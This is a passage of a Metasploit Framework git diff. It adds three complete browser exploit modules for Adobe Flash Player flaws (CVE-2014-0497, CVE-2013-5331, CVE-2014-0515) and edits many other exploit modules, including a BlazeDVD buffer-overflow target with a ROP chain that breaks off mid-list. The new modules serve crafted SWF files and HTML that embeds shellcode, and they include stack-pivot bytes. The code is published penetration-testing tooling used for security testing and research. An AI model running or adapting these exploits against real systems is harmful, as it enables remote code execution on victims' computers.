Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player + before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an + integer underflow in several avm2 instructions, which can be turned into remote code + execution under the context of the user, as exploited in the wild in February 2014. This + module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP + SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes + rop chains for several Flash 11 versions, as exploited in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0497' ], + [ 'OSVDB', '102849' ], + [ 'BID', '65327' ], + [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ], + [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ], + [ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false + }, + 'Platform' => 'win', + # Versions targeted in the wild: + # [*] Windows 8: + # 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14 + # 11,6,602,167, 11,6,602,171 ,11,6,602,180 + # 11,7,700,169, 11,7,700,202, 11,7,700,224 + # [*] Before windows 8: + # 11,0,1,152, + # 11,1,102,55, 11,1,102,62, 11,1,102,63 + # 11,2,202,228, 11,2,202,233, 11,2,202,235 + # 11,3,300,257, 11,3,300,273 + # 11,4,402,278 + # 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149 + # 11,6,602,168, 11,6,602,171, 11,6,602,180 + # 11,7,700,169, 11,7,700,202 + # 11,8,800,97, 11,8,800,50 + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^11\./ } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 5 2014", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + shellcode = get_payload(cli, target_info).unpack("H*")[0] + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="id=<%=shellcode%>" /> + <param name="Play" value="true" /> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb new file mode 100644 index 0000000000..2d116975a8 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Type Confusion Remote Code Execution", + 'Description' => %q{ + This module exploits a type confusion vulnerability found in the ActiveX + component of Adobe Flash Player. This vulnerability was found exploited + in the wild in November 2013. This module has been tested successfully + on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 + over Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'bannedit', # Exploit in the wild discoverer, analysis and reporting + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'CVE', '2013-5331' ], + [ 'OSVDB', '100774'], + [ 'BID', '64199'], + [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ], + [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false, + 'EXITFUNC' => "thread" + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 10 2013", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + flash_payload = "" + get_payload(cli,target_info).unpack("V*").each do |i| + flash_payload << "0x#{i.to_s(16)}," + end + flash_payload.gsub!(/,$/, "") + + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=flash_payload%>" /> + <param name="Play" value="true" /> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb new file mode 100644 index 0000000000..371489b0fd --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Shader Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Adobe Flash Player. The + vulnerability occurs in the flash.Display.Shader class, when setting specially + crafted data as its bytecode, as exploited in the wild in April 2014. This module + has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 + over Windows XP SP3, Windows 7 SP1 and Windows 8. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2014-0515'], + ['BID', '67092'], + ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], + ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + # Disabled by default to allow sessions on Firefox, still useful when exploiting IE + #'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false, + 'EXITFUNC' => "thread" + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => lambda { |ua| ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::SAFARI}, + :flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Apr 28 2014", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + flash_payload = "" + get_payload(cli,target_info).unpack("V*").each do |i| + flash_payload << "0x#{i.to_s(16)}," + end + flash_payload.gsub!(/,$/, "") + + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=flash_payload%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=flash_payload%>" Play="true"/> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 3db798b445..f49f7564fe 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -296,4 +296,4 @@ int __fastcall sub_67EED2B0(int a1, int a2) } return result; } -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index f7e054fd4f..d41e74d73d 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote could overflow a buffer and execute arbitrary code on the system. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-1472' ], diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 0f8dff21d5..b134a86e38 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -155,4 +155,4 @@ ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 3a1a2953dc..4d4ac2ce78 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -311,4 +311,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 4f53c8192d..9519709c03 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DisclosureDate' => 'Jun 09 2009', 'DefaultTarget' => 0)) end diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 0fc4a1113c..0063e8ec4e 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << self.send(my_target[:rop]) sploit << p.encoded - resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-noslashes') cli.send_response(resp) # handle the payload diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index b136a41c9f..9f2a5f660b 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -267,4 +267,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 2a9cfd1ae2..f426d31d07 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -253,4 +253,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index f6a01d021d..cb807d442f 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -147,4 +147,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index c85c94dcc8..88cf7fba5f 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -474,4 +474,4 @@ end .text:10018A06 push eax .text:10018A07 call dword ptr [ecx] # woot! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index b3f677f8cc..6f5b430820 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -308,4 +308,4 @@ $ ruby pattern_offset.rb 41306941 6888 $ ruby pattern_offset.rb 336b4632 6888 [*] Exact match at offset 4208 -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 5670eedd15..8c326407bb 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -286,4 +286,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index 0c34987d18..b79c83586b 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -117,4 +117,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index 396f5ba801..a5847c055a 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -25,10 +25,10 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Faithless <rhyskidd [at] gmail.com>', + 'Faithless <rhyskidd[at]gmail.com>', 'Darkeagle <unl0ck.net>', 'hdm', - '<justfriends4n0w [at] yahoo.com>', + '<justfriends4n0w[at]yahoo.com>', 'Unknown', ], 'References' => diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index eb421d6fd3..0342c3f2ea 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -22,17 +22,17 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', - 'Aviv Raff <avivra [at] gmail.com>', - 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', - 'Mr.Niega <Mr.Niega [at] gmail.com>', - 'M. Shirk <shirkdog_list [at] hotmail.com>' + 'Aviv Raff <avivra[at]gmail.com>', + 'Trirat Puttaraksa (Kira) <trir00t[at]gmail.com>', + 'Mr.Niega <Mr.Niega[at]gmail.com>', + 'M. Shirk <shirkdog_list[at]hotmail.com>' ], 'References' => [ - ['CVE', '2006-4868' ], - ['OSVDB', '28946' ], - ['MSB', 'MS06-055' ], - ['BID', '20096' ], + ['CVE', '2006-4868'], + ['OSVDB', '28946'], + ['MSB', 'MS06-055'], + ['BID', '20096'], ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index e4b2c478cb..6d553bb2dd 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module + 'Scott Bell <scott.bell[at]security-assessment.com>' # Vulnerability discovery & Metasploit module ], 'References' => [ diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 2de5599e9d..20d94cfb79 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -379,4 +379,4 @@ cccccccc ?? ??? 001f58d4 48 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00 H.....\u........ 001f58e4 e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00 .R...~.......... 001f58f4 90 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00 ................ -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 86be4d034d..adcefa77fe 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_name => Msf::HttpClients::IE, :ua_ver => '10.0', :mshtml_build => lambda { |ver| ver.to_i < 16843 }, - :flash => /^12\./ + :flash => /^1[23]\./ }, 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index f5efd9b11a..e5ce111351 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -314,4 +314,4 @@ target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll var leak = target.GetMiscAccess(); alert(leak); -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index b7d998d5e8..ffd3bc01a2 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -200,4 +200,4 @@ And user to get RCE here: .text:10004473 jz short loc_10004477 .text:10004475 call eax ; RCE! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 64e2f6b299..a44673dc43 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -129,4 +129,4 @@ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> send_response(cli, ovf, {'Content-Type'=>'text/xml'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index 8e173c5c33..965899b201 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -263,4 +263,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index a749d68d7e..1dc20aa6c3 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -269,4 +269,4 @@ eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 tsgetx71ex553!Ordinal931+0x2dd: 28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=???????? -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index a7c78eefad..c30f034d48 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote to execute arbitrary code within the context of the affected application. }, 'License' => MSF_LICENSE, - 'Author' => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'MC', 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-5492'], diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 0a9e6b7710..30bc0e2ef6 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # Tested on Windows XP and Windows 2003 [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultOptions' => { 'WfsDelay' => 5 diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 4129e6df9d..7185e92171 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -105,4 +105,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(file) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index 88a82bd8bc..b97afc1567 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -12,36 +12,58 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow', + 'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow', 'Description' => %q{ - This module exploits a stack over flow in BlazeDVD 5.1. When + This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When the application is used to open a specially crafted plf file, a buffer is overwritten allowing for the execution of arbitrary code. }, 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], + 'Author' => + [ + 'MC', # Developed target 5.1 + 'Deepak Rathore', # ExploitDB PoC + 'Spencer McIntyre', # Developed taget 6.2 + 'Ken Smith' # Developed target 6.2 + ], 'References' => [ [ 'CVE' , '2006-6199' ], - [ 'OSVDB', '30770'], + [ 'EDB', '32737' ], + [ 'OSVDB', '30770' ], [ 'BID', '35918' ], ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 750, - 'BadChars' => "\x00", - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'DisableNops' => 'True', + 'BadChars' => "\x00\x0a\x1a", + 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ - [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ], + [ 'BlazeDVD 6.2', + { + 'Payload' => + { + # Stackpivot => add esp,0xfffff254 + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" + } + } + ], + [ 'BlazeDVD 5.1', + { + 'Ret' => 0x100101e7, + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper + } + } + ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 03 2009', @@ -49,22 +71,59 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), ], self.class) end + def rop_chain + # rop chain generated with mona.py - www.corelan.be + case target.name + when 'BlazeDVD 6.2' + rop_gadgets = [ ] + # 0x6162e802 RETN (ROP NOP) [EPG.dll] + rop_gadgets.fill(0x6162e802, 0..7) + rop_gadgets += [ + 0x61636758, # POP EAX # RETN [EPG.dll] + 0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll] + 0x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll] + 0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll] + 0x61628ea2, # POP EBP # RETN [EPG.dll] + 0x616069a1, # push esp # ret 0x04 [EPG.dll] + 0x61626702, # POP EAX # 